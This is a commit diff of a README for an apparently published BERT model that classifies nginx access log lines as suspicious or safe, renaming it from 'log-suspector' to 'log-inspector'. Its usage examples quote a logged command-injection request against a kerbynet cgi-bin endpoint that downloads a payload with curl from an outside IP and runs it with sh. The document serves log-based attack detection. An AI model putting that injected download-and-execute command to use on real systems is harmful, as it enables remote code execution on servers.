Update README.md

README.md

@@ -2,7 +2,7 @@
 language: en
 license: apache-2.0
 ---
-# Log Suspector
+# Log Inspector
 
 Pretrained model on nginx access logs. Based on [bert-base-cased](https://huggingface.co/bert-base-cased).
 
@@ -14,8 +14,8 @@ Given text must be parsed as like:
 
 ```python
 >>> from transformers import pipeline
->>> suspector = pipeline('text-classification', model="u-haru/log-suspector")
->>> suspector('path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://5.206.227.228/zero;sh zero;"; ref:-; ua:-;')
+>>> inspector = pipeline('text-classification', model="u-haru/log-inspector")
+>>> inspector('path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://5.206.227.228/zero;sh zero;"; ref:-; ua:-;')
 [{'label': 'LABEL_0', 'score': 0.9999788999557495}]
 ```
 class 0 is a suspicious log. class 1 is a safe log.
@@ -23,7 +23,7 @@ class 0 is a suspicious log. class 1 is a safe log.
 With simpletransformer:
 ```python
 >>> from simpletransformers.classification import ClassificationModel
->>> model = ClassificationModel('bert', "u-haru/log-suspector", num_labels=2, use_cuda=(use_cuda and torch.cuda.is_available()), args=param)
+>>> model = ClassificationModel('bert', "u-haru/log-inspector", num_labels=2, use_cuda=(use_cuda and torch.cuda.is_available()), args=param)
 >>> predictions, raw_outputs = model.predict(['path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://5.206.227.228/zero;sh zero;"; ref:-; ua:-;']) # 評価
 >>> print(predictions)
 [0]
@@ -32,7 +32,7 @@ With simpletransformer:
 Evaluate or training:
 ```python
 >>> from simpletransformers.classification import ClassificationModel
->>> model = ClassificationModel('bert', "u-haru/log-suspector", num_labels=2, use_cuda=(use_cuda and torch.cuda.is_available()), args=param)
+>>> model = ClassificationModel('bert', "u-haru/log-inspector", num_labels=2, use_cuda=(use_cuda and torch.cuda.is_available()), args=param)
 >>> data = [["Suspicious log",0],["Safe log",1]]
 >>> df = pd.DataFrame(data)